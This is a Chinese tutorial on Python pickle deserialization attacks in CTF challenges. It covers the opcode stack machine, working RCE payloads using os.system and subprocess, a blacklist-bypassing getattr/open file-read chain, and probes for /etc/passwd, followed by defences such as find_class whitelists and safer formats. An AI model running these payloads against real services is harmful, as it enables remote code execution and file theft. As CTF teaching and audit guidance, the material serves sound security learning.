前阵子一个朋友甩了段base64给我,说某平台新出的“pickle题目”让他卡了一宿。我解码后看到的是一段以 \x80\x04\x95 开头的字节流,心里基本有数了——又是反序列化。这几年不管是CTF还是面试,Python pickle能见度一直很高。出题人喜欢它,是因为一个点能串起序列化协议、栈虚拟机、对象模型和沙箱绕过好几层知识;做题的人喜欢它,是因为只要想通一个关键认知——pickle反序列化不是“读数据”,而是“执行字节码”——后面所有题目都只是在这个认知上做变化。这篇文章我想从最经典的题目形态说起,把拿到一道pickle题后的完整分析链路、payload构造思路和各种限制下的绕法一次性讲透。不管你是刚开始刷题的CTF新人,还是想搞懂反序列化漏洞本质的工程师,应该都能从这里拿到可直接上手的思路。以下所有内容仅针对CTF与授权测试环境,不要对未授权目标使用。
1. 一道典型的 pickle 题目长什么样:题目形态与考点拆解
1.1 我拿到过的最小题目,没有之一
很多CTF里的pickle题,剥掉web外壳之后,核心代码短得可怜。我见过最小的一道只有十几行:
python复制import pickle
import base64
from flask import Flask, request
app = Flask(__name__)
@app.route("/", methods=["POST"])
def index():
data = request.form.get("data", "")
obj = pickle.loads(base64.b64decode(data))
return "ok: " + repr(obj)
是的,没有过滤、没有waf、没有白名单,一个裸的pickle.loads就摆在那里。这类题在平台上通常标注为“签到题”或者“easy pickle”,但我见过不少人在这一步就卡住,原因不是不会写payload,而是不理解“为什么一段看起来乱码的数据能执行命令”。
也有稍微复杂一点的形态:把pickle后的数据存进cookie、数据库、消息队列,或者藏在session里,前端提交时再做一次unpickle。但不管外壳怎么变,核心就一句话:服务端拿到了由客户端提供的内容,然后直接反序列化。
1.2 出题人到底在考什么
一道pickle题,表面上考“能不能构造payload”,实际上考的是三个递进的东西:
- 对pickle协议本身的理解:序列化产物不是“加密后的数据”,而是一串要交给解释器执行的指令。
- 对Python对象模型和运行时机制的了解:
__reduce__是什么?find_class是干什么的?类对象、模块、全局函数在反序列化时是怎么被找回来的? - 对限制条件的绕过能力:题目一旦加了关键字过滤、模块白名单、字符黑名单,你能不能换一条执行链。
这也是pickle题区分度高的原因。会背os.system三行payload的人能过第一关,但第二关、第三关立刻把“背答案”和“真理解”分开。
1.3 三分钟判断“你是不是遇到 pickle 了”
如果手里有源码,判断很简单,找这些关键词:
pickle.loads、pickle.loadcPickle、Unpicklershelve.open、joblib.load、torch.load(底层用了pickle协议)- 配合
base64.b64decode对输入做解码
如果只有黑盒,判断也不难:
- 提交的数据常见开头:
\x80\x04\x95(协议4带帧)、\x80\x03(协议3)、\x80\x02(协议2),或者纯文本协议以(、c、S等opcode开头。 - 打开
file命令或者直接strings看二进制内容,经常能看到builtins、posix、os、collections等模块名。 - 把解码后的字节流传给
pickletools.dis(),如果能被拆成一条条“指令”,基本就是pickle了。
我自己做黑盒题的习惯是:不管三七二十一,先拿pickletools去拆输入。因为pickle的字节码定义很固定,是就是,不是就不是,比瞎猜快得多。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. pickle 不是数据格式,是一台栈式虚拟机:从 opcode 理解反序列化
2.1 pickle 协议和加密、压缩完全是两回事
这里必须先掰正一个认知:很多人把pickle理解成“像JSON一样把对象变成字符串,再变回来”。如果只是这么理解,就永远想不通为什么反序列化会执行命令。
实际上,pickle序列化后得到的字节流,更应该被看作一段字节码。反序列化时,Python的Unpickler会照着这段字节码逐条执行,用栈和memo机制一点点重建出原来的对象。这个过程非常像用一个“栈式计算器”在做对象还原。
我习惯打一个比方:把pickle反序列化想象成把一份“做菜说明书”递给后厨,后厨会严格按照说明书一步步执行。正常的说明书写“切菜、热油、下锅”,但如果说明书里夹带了一行“拨打电话订外卖”,后厨也会照做。pickle.loads就是这个后厨,它不会问你“这一步是不是合理”,只会执行。
2.2 常用 opcode 速查表,做题时拿来做字典
pickle的opcode非常多,但真正解题时高频用到的其实就十几个。下面是我自己放在笔记里的速查表:
| Opcode(文本/十六进制) | 名称 | 作用 |
|---|---|---|
0x80 |
PROTO | 声明协议版本 |
0x2e |
STOP | 反序列化结束 |
c |
GLOBAL | 加载module.name全局对象并压栈 |
R |
REDUCE | 从栈上取可调用对象和参数元组,执行调用 |
S / V |
STRING / UNICODE | 压入字符串对象 |
( |
MARK | 在栈上打标记 |
t |
TUPLE | 把MARK到栈顶的对象打包成元组 |
0x85 |
TUPLE1 | 把栈顶1个对象打包成元组 |
0x86 |
TUPLE2 | 把栈顶2个对象打包成元组 |
b |
BUILD | 给对象设置状态,常用在对象状态恢复 |
0x70 |
BINPUT | 把栈顶对象存入memo备忘录 |
0x67 |
BINGET | 从memo中取出对象压栈 |
] |
EMPTY_LIST | 压入空列表 |
a |
APPEND | 将栈顶元素追加到列表 |
不需要全背,但要看得懂。做题时最常打交道的就三个:GLOBAL负责“拿函数”,REDUCE负责“调函数”,STOP负责“结束”。
2.3 REDUCE 指令:整条漏洞链的核心
REDUCE指令对应pickle文档里的“调用一个可调用对象”。它的执行方式是:从栈顶依次弹出参数元组和可调用对象,然后执行 callable(*args),把返回值压回栈。
一个非常经典的payload是:
python复制cos
system
(S'id'
tR.
逐条拆开看:
cos\nsystem\n:GLOBAL,加载os.system函数,压栈。(:MARK,在栈上打标记。S'id'\n:STRING,压入字符串id。t:TUPLE,把MARK到栈顶的东西打包成元组('id',)。R:REDUCE,弹出参数('id',)和函数os.system,执行os.system('id')。.:STOP,结束。
所以“反序列化能RCE”的根本原因就是:pickle里有GLOBAL这样的指令能随意加载Python全局对象,又有REDUCE这样的指令能随意调用它们。两者一组合,本质上就是一个受限的远程代码执行器。
那__reduce__又是什么?它是Python对象协议里的一个方法。当一个类定义了__reduce__,pickle序列化这个类的实例时,会调用它,然后根据返回值决定怎样序列化。最常见的一种返回值是二元组 (callable, args),pickle看到这个结果,就会在字节码里生成一条REDUCE指令。也就是说,攻击者定义一个类,让__reduce__返回(os.system, ('id',)),服务器反序列化时就会执行os.system('id')。
这里要特别强调一个容易搞反的点:触发代码执行的不是pickle.dumps,而是pickle.loads。在CTF里,dumps通常是攻击者自己本地执行的,真正危险的是服务端那个loads。
2.4 用 pickletools 把 payload 拆给人看
当payload复杂起来,肉眼分析太痛苦,我几乎每次都直接上pickletools:
python复制import pickletools
payload = b"cos\nsystem\n(S'id'\ntR."
pickletools.dis(payload)
输出会逐行告诉你每条指令是什么、参数是什么、栈变化过程,相当于给pickle字节码加了一个调试器。遇到黑盒未知payload时,我也先用它拆一遍,看到GLOBAL出现了哪些模块名,基本就知道这条链想干什么。
3. 三种常见限制下的绕过实战:从 os.system 到手工字节码
3.1 第一关:无限制,reduce 三行带走
最基础的解法是定义一个带__reduce__的类,让它返回一个恶意调用。假设题目目录下有flag.txt:
python复制import pickle
import base64
import os
class Exploit:
def __reduce__(self):
return (os.system, ("cat flag.txt",))
payload = pickle.dumps(Exploit())
print(base64.b64encode(payload).decode())
把这串base64提交进去,服务器就会执行os.system('cat flag.txt')。如果题的响应直接把stdout一起返回,flag就出来了;如果不直接回显,可以让命令把结果写到web目录,或者弹到外部监听。
实际做题时,我很少手写类,因为类定义会让payload里带上__main__、__reduce__等一串额外内容,后面一旦有黑名单会吃亏。更快的是直接手工构造字节码:
python复制import base64
payload = b"cos\nsystem\n(S'cat flag.txt'\ntR."
print(base64.b64encode(payload).decode())
这段字节码和__reduce__版本完全等价,但干净得多。这也是我和新手讲pickle题时最喜欢用的“最小payload”。
3.2 第二关:关键字黑名单,用 subprocess 绕开表面过滤
很多题不会让你直接梭哈,而是象征性地加个黑名单。常见的过滤逻辑长这样:
python复制blacklist = ["os", "system", "eval", "exec", "import", "__"]
def check(data: bytes) -> bool:
text = data.decode("latin1")
for word in blacklist:
if word in text:
return False
return True
注意,这里检查的是“解码后的字节流”。如果只是检查base64文本本身,基本等于没拦,因为base64字符集里根本没有下划线,关键字很难原样出现。所以出题人会选择对data.decode("latin1")做检查,让payload里的模块名、函数名都暴露在过滤规则之下。
这时候cos\nsystem肯定没了,因为os和system都在黑名单里。绕过思路很简单:换一个不在黑名单里、但同样能执行命令或读文件的模块。subprocess就是最顺手的一个。
手工构造一个调用subprocess.check_output的payload:
python复制import base64
payload = b"csubprocess\ncheck_output\n(S'cat flag.txt'\ntR."
print(base64.b64encode(payload).decode())
这个payload里出现的模块名是subprocess,函数名是check_output,参数是cat flag.txt,没有任何一个词触发黑名单。服务器反序列化时会执行subprocess.check_output('cat flag.txt'),返回的bytes会成为反序列化结果,细心的题会把结果repr出来,flag直接可见。
同样思路可以换subprocess.Popen、subprocess.run,甚至builtins.open配合文件读取,关键是先看清楚黑名单到底封了哪些词,再去找不在名单里的等价函数。
3.3 第三关:连 reduce 都不给用,手工构造文件读取链
有的题进一步限制,把subprocess也写进黑名单,甚至看到reduce、__class__就直接拒绝。这时候__reduce__路线的优势基本清零,得回到字节码层面,用多个GLOBAL + REDUCE组合成一条调用链。
我构造过一条完全不碰危险函数名的链,目标是执行open('flag.txt').read()。它不加载os、system、eval、exec,只用了builtins里的getattr、open,以及字符串对象的read方法。
对应的字节码如下:
python复制import base64
payload = (
b"cbuiltins\ngetattr\n"
b"cbuiltins\nopen\n"
b"S'flag.txt'\n"
b"\x85R"
b"S'read'\n"
b"\x86R"
b"(tR."
)
print(pickletools.dis(payload))
print(base64.b64encode(payload).decode())
逐步看栈的变化:
cbuiltins\ngetattr\n:压入getattr函数。cbuiltins\nopen\n:压入open函数。S'flag.txt':压入文件名字符串。\x85:TUPLE1,把栈顶的'flag.txt'打包成元组。R:调用open('flag.txt'),栈上变成getattr, file_obj。S'read':压入字符串read。\x86:TUPLE2,把栈顶两个元素打包成(file_obj, 'read')。R:调用getattr(file_obj, 'read'),栈上变成read方法。(t:构造空元组()。R:调用read(),栈上剩下flag内容字符串。.:结束。
这条链的关键是:不再依赖__reduce__,而是完全手工编排指令。黑名单如果只封那几个危险模块和危险函数名,builtins、getattr、open、read这些词往往会漏掉。这也是为什么“真正理解栈机模型的人”和“只会背payload的人”在题目难度上来之后会迅速拉开差距。
3.4 黑盒场景:只有一段 base64,如何验证
黑盒时看不到源码,只能靠输入输出推测。我的验证顺序是:
- 先解码:
base64.b64decode(data),看前几个字节是不是\x80开头。 - 用pickletools拆:能拆出指令流,基本实锤pickle。
- 构造无危害探测payload:比如让反序列化结果是一个字符串
hello,看响应里有没有变化,确认loads确实被执行。 - 再尝试读文件:用不出网的payload,比如
builtins.open读取/etc/passwd,看响应是否包含文件内容。
黑盒题我不建议一上来就反弹shell、请求外部地址,既容易被平台拦,也容易暴露自己的监听端口。先读文件、先验证RCE,拿到flag之后再考虑更大动作。
3.5 做题时最容易翻车的三个细节
细节一:base64方向搞反。很多题是pickle.loads(base64.b64decode(data)),也就是先解base64再反序列化。构造payload时要先pickle.dumps再base64.b64encode,顺序反了或者忘了编码都会报错。
细节二:黑名单检查的是解码后的字节流还是原始输入。如果检查原始输入,用base64之后很多关键字已经被掩盖了;如果检查latin1解码后的字节流,os、system这些就藏不住。做题前先确认过滤函数挂在哪个环节,能少走很多弯路。
细节三:pickletools.dis需要bytes,不是str。我见过有人把payload用encode()转来转去,最后得到的还是unicode字符串,解析一直报错。直接拿bytes喂进去就行。
4. 从题目的另一端看 pickle:审计、白名单与替代方案
4.1 真实业务里 pickle 的“幽灵入口”
CTF里pickle题很多,真实业务里pickle被错误使用的情况也不少。我审过和看到过的危险入口大致集中在下面几类:
- 把用户提交的内容直接
pickle.loads,最常见的是把pickle结果塞进cookie或隐藏表单字段。 - 用
redis、memcached等缓存时,value直接用pickle序列化,如果缓存内容可被外部影响,等于给了别人一条反序列化链。 - 内部RPC、任务队列(比如Celery)传输的消息体里夹带pickle数据。
joblib.load、torch.load加载模型文件,这些底层都是pickle,模型文件本身可能就是恶意样本。
审计时不需要把所有pickle出现的地方都当成漏洞,关键看数据源是否可控。如果反序列化的数据来自不可信输入,那就是一个高危反序列化风险。
4.2 官方给出的安全阀:重写 find_class
Python官方文档对pickle不安全的建议是:不要反序列化不可信数据。如果一定要用,可以通过继承Unpickler重写find_class来限制GLOBAL指令能加载的对象。
python复制import pickle
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
allowed_modules = {"math": {"sqrt", "pow"}, "builtins": {"print"}}
if module in allowed_modules and name in allowed_modules[module]:
return super().find_class(module, name)
raise pickle.UnpicklingError(f"forbidden global: {module}.{name}")
find_class是GLOBAL指令真正执行导入和取属性的地方。重写它之后,即使payload里写了os.system,也会因为模块不在白名单里而抛异常。
4.3 白名单真的安全吗,我在审计中看到过的漏洞
我必须泼一盆冷水:白名单不等于安全。我曾经在一套内部系统里看到维护者重写了find_class,白名单放行math和builtins.getattr,理由是“这两个看起来人畜无害”。结果攻击者可以用builtins.getattr一路取到对象内部的__globals__字典,再通过某个已有类对象的全局变量拿到os.system。
只要白名单里出现getattr、eval、exec、compile、globals、vars这类“元能力”函数,限制就可能被绕过。所以最稳的策略永远是:能不用pickle就不用pickle,能用纯数据格式就不要序列化对象。
4.4 序列化替代方案怎么选
业务开发里,“把对象状态保存下来”的需求很常见,但绝大多数场景根本不值得用pickle。我做选型时一般按下面这张表来:
| 场景 | 推荐方案 | 原因 |
|---|---|---|
| 配置、接口数据、跨语言数据 | JSON | 可读、安全、生态好 |
| 大量结构化数据 | MessagePack、Protobuf | 紧凑、跨语言、有schema约束 |
| YAML配置文件 | PyYAML的safe_load |
yaml.load很危险,safe_load只解析标准标量 |
| 需要保留部分Python类型 | 自定义to_dict / from_dict |
显式控制哪些字段能序列化 |
| 机器学习模型存储 | 对不可信模型不要直接torch.load |
模型本身就是可执行代码,先校验来源 |
pickle真正不可替代的场景,是需要在进程内精细还原复杂Python对象图,比如多进程通信、对象持久化到内存数据库。这种场景下,至少要做到数据源可信 + find_class白名单 + 网络边界收敛三层防护。
4.5 面试里关于 pickle 的高频问题
面试官问pickle相关问题时,通常围绕这几题:
- pickle和json有什么区别?—— 一个只处理纯数据,一个能还原任意对象;“还原任意对象”在不可信输入下就是风险。
- 为什么说pickle反序列化不安全?—— 因为协议里包含GLOBAL和REDUCE这类指令,能在反序列化时加载并调用任意可调用对象。
__reduce__是干什么的?—— 它影响对象被pickle和unpickle时的行为,返回(callable, args)会让unpickle时执行callable(*args)。- 怎么安全地使用pickle?—— 不信任数据源;必须用则重写
find_class做白名单;能不用就不用。 - 如果白名单里有
os.system会怎样?—— 那是可以直接执行命令的严重风险,白名单必须按“最小可用”严格配置。
我面试别人的时候,还会加一道实操题:给一个带黑名单的pickle.loads,看候选人能不能想到换subprocess模块来绕过。能答上来的人,对“GLOBAL加载的是模块名+函数名”这件事是真的理解了,而不是只背过cos\nsystem。
我个人在实际做题和审代码里的体会是:pickle相关的坑,归根结底就一句话——不要把不可信数据交给一个会照着指令执行的东西。这句话放在pickle.loads上成立,放在eval、命令拼接、SQL拼接上也成立。想通了这一层,再去看题目,基本上每一道都是同一个故事的变体。
